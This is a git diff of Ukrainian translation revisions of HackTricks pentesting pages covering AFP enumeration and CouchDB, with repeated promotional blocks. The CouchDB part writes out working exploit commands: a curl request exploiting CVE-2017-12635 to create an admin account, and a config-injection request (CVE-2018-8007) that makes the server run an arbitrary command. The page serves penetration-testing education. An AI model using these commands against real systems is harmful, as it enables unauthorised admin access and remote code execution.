* 35672-35682: використовуються інструментами CLI (порти клієнта розподілу Erlang) для зв'язку з вузлами і виділяються з динамічного діапазону (обчислені як порт розподілу сервера + 10000 через порт розподілу сервера + 10010). Дивіться [посібник з мережі](https://www.rabbitmq.com/networking.html) для деталей.
|
||||
* 61613, 61614: [STOMP клієнти](https://stomp.github.io/stomp-specification-1.2.html) без і з TLS (тільки якщо увімкнено [STOMP плагін](https://www.rabbitmq.com/stomp.html)). Менше 10 пристроїв з цим портом відкриті, в основному UDP для DHT вузлів.
|
||||
|
||||
## Shodan
|
||||
|
||||
* `AMQP`
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Вивчайте хакінг AWS від нуля до героя з</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
Інші способи підтримки HackTricks:
|
||||
|
||||
* Якщо ви хочете побачити вашу **компанію рекламовану в HackTricks** або **завантажити HackTricks у PDF**, перевірте [**ПЛАНИ ПІДПИСКИ**](https://github.com/sponsors/carlospolop)!
|
||||
* Отримайте [**офіційний PEASS & HackTricks мерч**](https://peass.creator-spring.com)
|
||||
* Відкрийте для себе [**Сім'ю PEASS**](https://opensea.io/collection/the-peass-family), нашу колекцію ексклюзивних [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи telegram**](https://t.me/peass) або **слідкуйте** за нами в **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Поділіться своїми хакерськими трюками, надсилайте PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) та [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github репозиторіїв.
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,55 +1,57 @@
|
|||
# 548 - Вентестінг протоколу Apple Filing Protocol (AFP)
|
||||
# 548 - Pentesting Apple Filing Protocol (AFP)
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Вивчайте хакінг AWS від нуля до героя з</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
Інші способи підтримки HackTricks:
|
||||
|
||||
* Якщо ви хочете побачити вашу **компанію рекламовану на HackTricks** або **завантажити HackTricks у форматі PDF**, перевірте [**ПЛАНИ ПІДПИСКИ**](https://github.com/sponsors/carlospolop)!
|
||||
* Отримайте [**офіційний PEASS & HackTricks мерч**](https://peass.creator-spring.com)
|
||||
* Відкрийте для себе [**Сім'ю PEASS**](https://opensea.io/collection/the-peass-family), нашу колекцію ексклюзивних [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи Telegram**](https://t.me/peass) або **слідкуйте** за нами на **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Поділіться своїми хакерськими трюками, надсилайте PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) та [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) репозиторіїв GitHub.
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
|
||||
## Основна інформація
|
||||
|
||||
**Протокол Apple Filing Protocol** (**AFP**), колишній AppleTalk Filing Protocol, є спеціалізованим мережевим протоколом, включеним у **Apple File Service** (**AFS**). Він призначений для надання файлових послуг для macOS та класичної Mac OS. AFP виділяється підтримкою файлових імен Unicode, POSIX та прав контролю доступу, ресурсних вілок, названих розширених атрибутів та складних механізмів блокування файлів. Це був основний протокол для файлових послуг у Mac OS 9 та попередніх версіях.
|
||||
**Apple Filing Protocol** (**AFP**), раніше відомий як AppleTalk Filing Protocol, є спеціалізованим мережевим протоколом, що входить до складу **Apple File Service** (**AFS**). Він призначений для надання файлових послуг для macOS та класичного Mac OS. AFP вирізняється підтримкою імен файлів у форматі Unicode, POSIX та дозволів списків контролю доступу, ресурсних forks, іменованих розширених атрибутів та складних механізмів блокування файлів. Це був основний протокол для файлових послуг у Mac OS 9 та раніших версіях.
|
||||
|
||||
**Порт за замовчуванням:** 548
|
||||
```bash
|
||||
PORT STATE SERVICE
|
||||
548/tcp open afp
|
||||
```
|
||||
### **Перелік**
|
||||
### **Перерахунок**
|
||||
|
||||
Для переліку служб AFP корисні наступні команди та скрипти:
|
||||
Для перерахунку служб AFP корисні наступні команди та скрипти:
|
||||
```bash
|
||||
msf> use auxiliary/scanner/afp/afp_server_info
|
||||
nmap -sV --script "afp-* and not dos and not brute" -p <PORT> <IP>
|
||||
```
|
||||
**Сценарії та їх описи:**
|
||||
**Скрипти та їхні описи:**
|
||||
|
||||
- **afp-ls**: Цей сценарій використовується для переліку доступних обсягів та файлів AFP.
|
||||
- **afp-path-vuln**: Він перелічує всі обсяги та файли AFP, виділяючи потенційні вразливості.
|
||||
- **afp-serverinfo**: Надає детальну інформацію про сервер AFP.
|
||||
- **afp-showmount**: Це перелік доступних розділів AFP разом із відповідними ACL.
|
||||
- **afp-ls**: Цей скрипт використовується для переліку доступних обсягів та файлів AFP.
|
||||
- **afp-path-vuln**: Він перераховує всі обсяги та файли AFP, підкреслюючи потенційні вразливості.
|
||||
- **afp-serverinfo**: Це надає детальну інформацію про сервер AFP.
|
||||
- **afp-showmount**: Він перераховує доступні спільні ресурси AFP разом з їхніми відповідними ACL.
|
||||
|
||||
### [**Brute Force**](../generic-methodologies-and-resources/brute-force.md#afp)
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Вивчайте хакінг AWS від нуля до героя з</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
Інші способи підтримки HackTricks:
|
||||
|
||||
* Якщо ви хочете побачити **рекламу вашої компанії на HackTricks** або **завантажити HackTricks у форматі PDF**, перевірте [**ПЛАНИ ПІДПИСКИ**](https://github.com/sponsors/carlospolop)!
|
||||
* Отримайте [**офіційний PEASS & HackTricks мерч**](https://peass.creator-spring.com)
|
||||
* Відкрийте для себе [**Сім'ю PEASS**](https://opensea.io/collection/the-peass-family), нашу колекцію ексклюзивних [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи telegram**](https://t.me/peass) або **слідкуйте** за нами на **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Поділіться своїми хакерськими трюками, надсилайте PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) та [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) репозиторіїв.
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,90 +1,91 @@
|
|||
# 5984,6984 - Тестування на проникнення CouchDB
|
||||
# 5984,6984 - Pentesting CouchDB
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Вивчайте хакінг AWS від нуля до героя з</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
Інші способи підтримки HackTricks:
|
||||
|
||||
* Якщо ви хочете побачити вашу **компанію рекламовану на HackTricks** або **завантажити HackTricks у форматі PDF**, перевірте [**ПЛАНИ ПІДПИСКИ**](https://github.com/sponsors/carlospolop)!
|
||||
* Отримайте [**офіційний PEASS & HackTricks мерч**](https://peass.creator-spring.com)
|
||||
* Відкрийте для себе [**Сім'ю PEASS**](https://opensea.io/collection/the-peass-family), нашу колекцію ексклюзивних [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи telegram**](https://t.me/peass) або **слідкуйте** за нами на **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Поділіться своїми хакерськими трюками, надсилайте PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) **і** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **репозиторіїв на GitHub.**
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
## **Основна інформація**
|
||||
|
||||
**CouchDB** - це універсальна та потужна **документ-орієнтована база даних**, яка організовує дані за допомогою структури **ключ-значення** всередині кожного **документа**. Поля всередині документа можуть бути представлені у вигляді **пар ключ/значення, списків або карт**, що забезпечує гнучкість у зберіганні та отриманні даних.
|
||||
**CouchDB** - це універсальна та потужна **документно-орієнтована база даних**, яка організовує дані, використовуючи структуру **ключ-значення** в кожному **документі**. Поля в документі можуть бути представлені як **пари ключ/значення, списки або мапи**, що забезпечує гнучкість у зберіганні та отриманні даних.
|
||||
|
||||
Кожному **документу**, збереженому в CouchDB, надається **унікальний ідентифікатор** (`_id`) на рівні документа. Крім того, кожна модифікація, зроблена та збережена в базі даних, отримує **номер ревізії** (`_rev`). Цей номер ревізії дозволяє ефективно **відстежувати та керувати змінами**, сприяючи легкому отриманню та синхронізації даних у межах бази даних.
|
||||
Кожному **документу**, збереженому в CouchDB, присвоюється **унікальний ідентифікатор** (`_id`) на рівні документа. Крім того, кожна зміна, внесена та збережена в базі даних, отримує **номер версії** (`_rev`). Цей номер версії дозволяє ефективно **відстежувати та керувати змінами**, полегшуючи легке отримання та синхронізацію даних у базі даних.
|
||||
|
||||
**Порт за замовчуванням:** 5984(http), 6984(https)
|
||||
```
|
||||
PORT STATE SERVICE REASON
|
||||
5984/tcp open unknown syn-ack
|
||||
```
|
||||
## **Автоматичне перелічення**
|
||||
## **Автоматичне перерахування**
|
||||
```bash
|
||||
nmap -sV --script couchdb-databases,couchdb-stats -p <PORT> <IP>
|
||||
msf> use auxiliary/scanner/couchdb/couchdb_enum
|
||||
```
|
||||
## Ручне перелікування
|
||||
## Ручна енумерація
|
||||
|
||||
### Банер
|
||||
```
|
||||
curl http://IP:5984/
|
||||
```
|
||||
Це відправляє запит GET до встановленого екземпляра CouchDB. Відповідь повинна виглядати приблизно так, як один з наступних:
|
||||
Це надсилає GET-запит до встановленої CouchDB інстанції. Відповідь повинна виглядати приблизно так, як одна з наступних:
|
||||
```bash
|
||||
{"couchdb":"Welcome","version":"0.10.1"}
|
||||
{"couchdb":"Welcome","version":"2.0.0","vendor":{"name":"The Apache Software Foundation"}}
|
||||
```
|
||||
{% hint style="info" %}
|
||||
Зверніть увагу, що при доступі до кореня couchdb ви отримаєте `401 Unauthorized` з чимось на зразок цього: `{"error":"unauthorized","reason":"Authentication required."}` **ви не зможете отримати доступ** до банера або будь-якого іншого кінцевого пункту.
|
||||
Зверніть увагу, що якщо при доступі до кореня couchdb ви отримуєте `401 Unauthorized` з чимось на зразок цього: `{"error":"unauthorized","reason":"Authentication required."}` **ви не зможете отримати доступ** до банера або будь-якої іншої кінцевої точки.
|
||||
{% endhint %}
|
||||
|
||||
### Інформація про перелік
|
||||
### Info Enumeration
|
||||
|
||||
Це кінцеві точки, до яких ви можете отримати доступ за допомогою запиту **GET** та витягти деяку цікаву інформацію. Ви можете знайти [**більше кінцевих точок та більш детальні описи в документації couchdb**](https://docs.couchdb.org/en/latest/api/index.html).
|
||||
Це кінцеві точки, до яких ви можете отримати доступ за допомогою **GET** запиту та витягти деяку цікаву інформацію. Ви можете знайти [**більше кінцевих точок та більш детальні описи в документації couchdb**](https://docs.couchdb.org/en/latest/api/index.html).
|
||||
|
||||
* **`/_active_tasks`** Список запущених завдань, включаючи тип завдання, назву, статус та ідентифікатор процесу.
|
||||
* **`/_all_dbs`** Повертає список всіх баз даних в екземплярі CouchDB.
|
||||
* **`/_cluster_setup`** Повертає статус вузла або кластера, згідно з майстром налаштування кластера.
|
||||
* **`/_db_updates`** Повертає список всіх подій баз даних в екземплярі CouchDB. Для використання цієї кінцевої точки потрібно наявність бази даних `_global_changes`.
|
||||
* **`/_membership`** Показує вузли, які є частиною кластера як `cluster_nodes`. Поле `all_nodes` показує всі вузли, які відомі цьому вузлу, включаючи ті, які є частиною кластера.
|
||||
* **`/_scheduler/jobs`** Список робочих завдань реплікації. Кожен опис завдання буде містити інформацію про джерело та ціль, ідентифікатор реплікації, історію останніх подій та кілька інших речей.
|
||||
* **`/_scheduler/docs`** Список станів документів реплікації. Містить інформацію про всі документи, навіть у станах `completed` та `failed`. Для кожного документа повертається ідентифікатор документа, база даних, ідентифікатор реплікації, джерело та ціль та інша інформація.
|
||||
* **`/_all_dbs`** Повертає список усіх баз даних у екземплярі CouchDB.
|
||||
* **`/_cluster_setup`** Повертає статус вузла або кластера, відповідно до майстра налаштування кластера.
|
||||
* **`/_db_updates`** Повертає список усіх подій бази даних у екземплярі CouchDB. Існування бази даних `_global_changes` є обов'язковим для використання цієї кінцевої точки.
|
||||
* **`/_membership`** Відображає вузли, які є частиною кластера, як `cluster_nodes`. Поле `all_nodes` відображає всі вузли, про які знає цей вузол, включаючи ті, що є частиною кластера.
|
||||
* **`/_scheduler/jobs`** Список завдань реплікації. Опис кожного завдання включатиме інформацію про джерело та ціль, ідентифікатор реплікації, історію останніх подій та кілька інших речей.
|
||||
* **`/_scheduler/docs`** Список станів документів реплікації. Включає інформацію про всі документи, навіть у станах `completed` та `failed`. Для кожного документа повертає ідентифікатор документа, базу даних, ідентифікатор реплікації, джерело та ціль, а також іншу інформацію.
|
||||
* **`/_scheduler/docs/{replicator_db}`**
|
||||
* **`/_scheduler/docs/{replicator_db}/{docid}`**
|
||||
* **`/_node/{node-name}`** Кінцева точка `/_node/{node-name}` може бути використана для підтвердження імені вузла Erlang сервера, який обробляє запит. Це найбільш корисно при доступі до `/_node/_local` для отримання цієї інформації.
|
||||
* **`/_node/{node-name}/_stats`** Ресурс `_stats` повертає об'єкт JSON, що містить статистику для працюючого сервера. Літеральний рядок `_local` служить як псевдонім для локального імені вузла, тому для всіх URL статистики `{node-name}` можна замінити на `_local`, щоб взаємодіяти зі статистикою локального вузла.
|
||||
* **`/_node/{node-name}/_system`** Ресурс \_system повертає об'єкт JSON, що містить різноманітну статистику на рівні системи для працюючого сервера\_.\_ Ви можете використовувати \_\_`_local` як {node-name} для отримання поточної інформації про вузол.
|
||||
* **`/_node/{node-name}`** Кінцева точка `/_node/{node-name}` може бути використана для підтвердження імені вузла Erlang сервера, який обробляє запит. Це найбільш корисно при доступі до `/_node/_local`, щоб отримати цю інформацію.
|
||||
* **`/_node/{node-name}/_stats`** Ресурс `_stats` повертає об'єкт JSON, що містить статистику для запущеного сервера. Літеральний рядок `_local` служить псевдонімом для імені локального вузла, тому для всіх URL статистики `{node-name}` може бути замінено на `_local`, щоб взаємодіяти зі статистикою локального вузла.
|
||||
* **`/_node/{node-name}/_system`** Ресурс \_system повертає об'єкт JSON, що містить різну статистику на рівні системи для запущеного сервера\_.\_ Ви можете використовувати \_\_`_local` як {node-name}, щоб отримати інформацію про поточний вузол.
|
||||
* **`/_node/{node-name}/_restart`**
|
||||
* **`/_up`** Підтверджує, що сервер працює, готовий відповідати на запити. Якщо [`maintenance_mode`](https://docs.couchdb.org/en/latest/config/couchdb.html#couchdb/maintenance\_mode) є `true` або `nolb`, кінцева точка поверне відповідь 404.
|
||||
* **`/_uuids`** Запитує один або декілька унікальних ідентифікаторів (UUID) з екземпляра CouchDB.
|
||||
* **`/_reshard`** Повертає кількість завершених, не вдалося, запущених, зупинених та загальних завдань разом із станом перерозподілу в кластері.
|
||||
* **`/_up`** Підтверджує, що сервер працює, запущений і готовий відповідати на запити. Якщо [`maintenance_mode`](https://docs.couchdb.org/en/latest/config/couchdb.html#couchdb/maintenance\_mode) є `true` або `nolb`, кінцева точка поверне відповідь 404.
|
||||
* **`/_uuids`** Запитує один або кілька універсально унікальних ідентифікаторів (UUID) з екземпляра CouchDB.
|
||||
* **`/_reshard`** Повертає кількість завершених, невдалих, запущених, зупинених та загальних завдань разом зі станом перерозподілу на кластері.
|
||||
|
||||
Більше цікавої інформації можна витягнути, як пояснено тут: [https://lzone.de/cheat-sheet/CouchDB](https://lzone.de/cheat-sheet/CouchDB)
|
||||
Більш цікаву інформацію можна витягти, як пояснено тут: [https://lzone.de/cheat-sheet/CouchDB](https://lzone.de/cheat-sheet/CouchDB)
|
||||
|
||||
### **Список баз даних**
|
||||
### **Database List**
|
||||
```
|
||||
curl -X GET http://IP:5984/_all_dbs
|
||||
```
|
||||
Якщо запит відповідає з **401 не авторизовано**, тоді вам потрібні **дійсні облікові дані**, щоб отримати доступ до бази даних:
|
||||
Якщо цей запит **відповідає з 401 неавторизовано**, тоді вам потрібні **дійсні облікові дані** для доступу до бази даних:
|
||||
```
|
||||
curl -X GET http://user:password@IP:5984/_all_dbs
|
||||
```
|
||||
Для пошуку дійсних облікових даних ви можете **спробувати** [**зламати службу**](../generic-methodologies-and-resources/brute-force.md#couchdb).
|
||||
Щоб знайти дійсні облікові дані, ви могли б **спробувати** [**зламати сервіс**](../generic-methodologies-and-resources/brute-force.md#couchdb).
|
||||
|
||||
Це **приклад** відповіді couchdb, коли у вас є **достатньо привілеїв** для переліку баз даних (це просто список баз даних):
|
||||
Це **приклад** відповіді couchdb, коли у вас є **достатньо привілеїв** для переліку баз даних (Це просто список баз даних):
|
||||
```bash
|
||||
["_global_changes","_metadata","_replicator","_users","passwords","simpsons"]
|
||||
```
|
||||
### Інформація про базу даних
|
||||
### Database Info
|
||||
|
||||
Ви можете отримати деяку інформацію про базу даних (наприклад, кількість файлів та їх розміри), звернувшись до назви бази даних:
|
||||
Ви можете отримати деяку інформацію про базу даних (таку як кількість файлів та їх розміри), отримавши доступ до назви бази даних:
|
||||
```bash
|
||||
curl http://IP:5984/<database>
|
||||
curl http://localhost:5984/simpsons
|
||||
|
@ -108,22 +109,22 @@ curl http://localhost:5984/simpsons/_all_docs
|
|||
{"id":"f53679a526a868d44172c83a6100451b","key":"f53679a526a868d44172c83a6100451b","value":{"rev":"1-3f6141f3aba11da1d65ff0c13fe6fd39"}}
|
||||
]}
|
||||
```
|
||||
### **Читання документа**
|
||||
### **Прочитати документ**
|
||||
|
||||
Прочитайте вміст документа у базі даних:
|
||||
Прочитайте вміст документа всередині бази даних:
|
||||
```bash
|
||||
curl -X GET http://IP:5984/{dbname}/{id}
|
||||
curl http://localhost:5984/simpsons/f0042ac3dc4951b51f056467a1000dd9
|
||||
#Example response:
|
||||
{"_id":"f0042ac3dc4951b51f056467a1000dd9","_rev":"1-fbdd816a5b0db0f30cf1fc38e1a37329","character":"Homer","quote":"Doh!"}
|
||||
```
|
||||
## Підвищення привілеїв в CouchDB [CVE-2017-12635](https://cve.mitre.org/cgi-bin/cvename.cgi?name=2017-12635)
|
||||
## CouchDB Привілейоване Підвищення [CVE-2017-12635](https://cve.mitre.org/cgi-bin/cvename.cgi?name=2017-12635)
|
||||
|
||||
Благодаря різниці між парсерами JSON Erlang та JavaScript ви можете **створити адміністратора** з обліковими даними `hacktricks:hacktricks` за допомогою наступного запиту:
|
||||
Завдяки відмінностям між парсерами JSON Erlang та JavaScript ви можете **створити адміністратора** з обліковими даними `hacktricks:hacktricks` за допомогою наступного запиту:
|
||||
```bash
|
||||
curl -X PUT -d '{"type":"user","name":"hacktricks","roles":["_admin"],"roles":[],"password":"hacktricks"}' localhost:5984/_users/org.couchdb.user:hacktricks -H "Content-Type:application/json"
|
||||
```
|
||||
[**Додаткова інформація про цю уразливість тут**](https://justi.cz/security/2017/11/14/couchdb-rce-npm.html).
|
||||
[**Більше інформації про цю вразливість тут**](https://justi.cz/security/2017/11/14/couchdb-rce-npm.html).
|
||||
|
||||
## CouchDB RCE
|
||||
|
||||
|
@ -131,24 +132,24 @@ curl -X PUT -d '{"type":"user","name":"hacktricks","roles":["_admin"],"roles":[]
|
|||
|
||||
Приклад [звідси](https://0xdf.gitlab.io/2018/09/15/htb-canape.html).
|
||||
|
||||
У документації CouchDB, зокрема в розділі, що стосується налаштування кластера ([посилання](http://docs.couchdb.org/en/stable/cluster/setup.html#cluster-setup)), обговорюється використання портів CouchDB у режимі кластера. Зазначається, що, як і в режимі автономної роботи, використовується порт `5984`. Додатково, порт `5986` призначений для локальних API вузла, і, що важливо, Erlang вимагає TCP-порт `4369` для демона відображення портів Erlang (EPMD), який сприяє взаємодії вузлів у межах кластера Erlang. Ця настройка формує мережу, де кожен вузол пов'язаний з кожним іншим вузлом.
|
||||
У документації CouchDB, зокрема в розділі, що стосується налаштування кластеру ([посилання](http://docs.couchdb.org/en/stable/cluster/setup.html#cluster-setup)), обговорюється використання портів CouchDB в режимі кластеру. Зазначається, що, як і в автономному режимі, використовується порт `5984`. Крім того, порт `5986` призначений для локальних API вузлів, а важливо, що Erlang вимагає TCP порт `4369` для демона відображення портів Erlang (EPMD), що полегшує зв'язок між вузлами в кластері Erlang. Це налаштування формує мережу, де кожен вузол пов'язаний з усіма іншими вузлами.
|
||||
|
||||
Виділяється важливе попередження щодо порту `4369`. Якщо цей порт стане доступним через Інтернет або будь-яку ненадійну мережу, безпека системи в значній мірі залежатиме від унікального ідентифікатора, відомого як "cookie". Цей cookie виступає як захист. Наприклад, у даному списку процесів може бути помічено cookie з назвою "monster", що вказує на його робочу роль у системі безпеки.
|
||||
Особливу увагу слід звернути на безпеку порту `4369`. Якщо цей порт стає доступним через Інтернет або будь-яку ненадійну мережу, безпека системи сильно залежить від унікального ідентифікатора, відомого як "cookie". Цей cookie діє як засіб захисту. Наприклад, у даному списку процесів може бути спостережено cookie з назвою "monster", що вказує на його операційну роль у системі безпеки.
|
||||
```
|
||||
www-data@canape:/$ ps aux | grep couchdb
|
||||
root 744 0.0 0.0 4240 640 ? Ss Sep13 0:00 runsv couchdb
|
||||
root 811 0.0 0.0 4384 800 ? S Sep13 0:00 svlogd -tt /var/log/couchdb
|
||||
homer 815 0.4 3.4 649348 34524 ? Sl Sep13 5:33 /home/homer/bin/../erts-7.3/bin/beam -K true -A 16 -Bd -- -root /home/homer/b
|
||||
```
|
||||
Для тих, хто зацікавлений у розумінні того, як цей "cookie" може бути використаний для виконання коду на віддаленому сервері (RCE) в контексті систем Erlang, є окремий розділ для подальшого читання. Він детально описує методи використання cookie Erlang у несанкціонованих способах для отримання контролю над системами. Ви можете **[дізнатися більше про зловживання cookie Erlang для RCE тут](4369-pentesting-erlang-port-mapper-daemon-epmd.md#erlang-cookie-rce)**.
|
||||
Для тих, хто зацікавлений у розумінні того, як цей "cookie" може бути використаний для віддаленого виконання коду (RCE) в контексті систем Erlang, доступний спеціальний розділ для подальшого читання. Він детально описує методології використання cookie Erlang несанкціонованими способами для досягнення контролю над системами. Ви можете **[дослідити детальний посібник з зловживання cookie Erlang для RCE тут](4369-pentesting-erlang-port-mapper-daemon-epmd.md#erlang-cookie-rce)**.
|
||||
|
||||
### **Експлуатація CVE-2018-8007 шляхом зміни local.ini**
|
||||
### **Експлуатація CVE-2018-8007 через модифікацію local.ini**
|
||||
|
||||
Приклад [тут](https://0xdf.gitlab.io/2018/09/15/htb-canape.html).
|
||||
Приклад [звідси](https://0xdf.gitlab.io/2018/09/15/htb-canape.html).
|
||||
|
||||
Недавно опублікована уразливість, CVE-2018-8007, що впливає на Apache CouchDB, була досліджена, виявивши, що для експлуатації потрібні права на запис у файл `local.ini`. Хоча це не застосовується безпосередньо до початкової цільової системи через обмеження безпеки, були внесені зміни для надання прав на запис у файл `local.ini` для дослідницьких цілей. Нижче наведено детальні кроки та приклади коду, що демонструють процес.
|
||||
Недавно розкрита вразливість, CVE-2018-8007, що впливає на Apache CouchDB, була досліджена, виявивши, що для експлуатації потрібні права на запис до файлу `local.ini`. Хоча це не було безпосередньо застосовно до початкової цільової системи через обмеження безпеки, були внесені зміни, щоб надати доступ на запис до файлу `local.ini` для цілей дослідження. Нижче наведені детальні кроки та приклади коду, що демонструють процес.
|
||||
|
||||
Спочатку середовище готується шляхом переконання, що файл `local.ini` доступний для запису, перевірено шляхом переліку дозволів:
|
||||
Спочатку середовище готується, забезпечуючи, щоб файл `local.ini` був записуваним, що перевіряється шляхом переліку прав:
|
||||
```bash
|
||||
root@canape:/home/homer/etc# ls -l
|
||||
-r--r--r-- 1 homer homer 18477 Jan 20 2018 default.ini
|
||||
|
@ -156,11 +157,11 @@ root@canape:/home/homer/etc# ls -l
|
|||
-r--r--r-- 1 root root 4841 Sep 14 14:30 local.ini.bk
|
||||
-r--r--r-- 1 homer homer 1345 Jan 14 2018 vm.args
|
||||
```
|
||||
Для використання вразливості виконується команда curl, спрямована на конфігурацію `cors/origins` в `local.ini`. Це додає новий початок разом з додатковими командами у розділі `[os_daemons]`, спрямованих на виконання довільного коду:
|
||||
Щоб експлуатувати вразливість, виконується команда curl, націлена на конфігурацію `cors/origins` у `local.ini`. Це інжектує новий походження разом з додатковими командами в секцію `[os_daemons]`, з метою виконання довільного коду:
|
||||
```bash
|
||||
www-data@canape:/dev/shm$ curl -X PUT 'http://0xdf:df@localhost:5984/_node/couchdb@localhost/_config/cors/origins' -H "Accept: application/json" -H "Content-Type: application/json" -d "0xdf\n\n[os_daemons]\ntestdaemon = /usr/bin/touch /tmp/0xdf"
|
||||
```
|
||||
Подальша перевірка показує внесену конфігурацію в `local.ini`, порівнюючи її з резервною копією, щоб виділити зміни:
|
||||
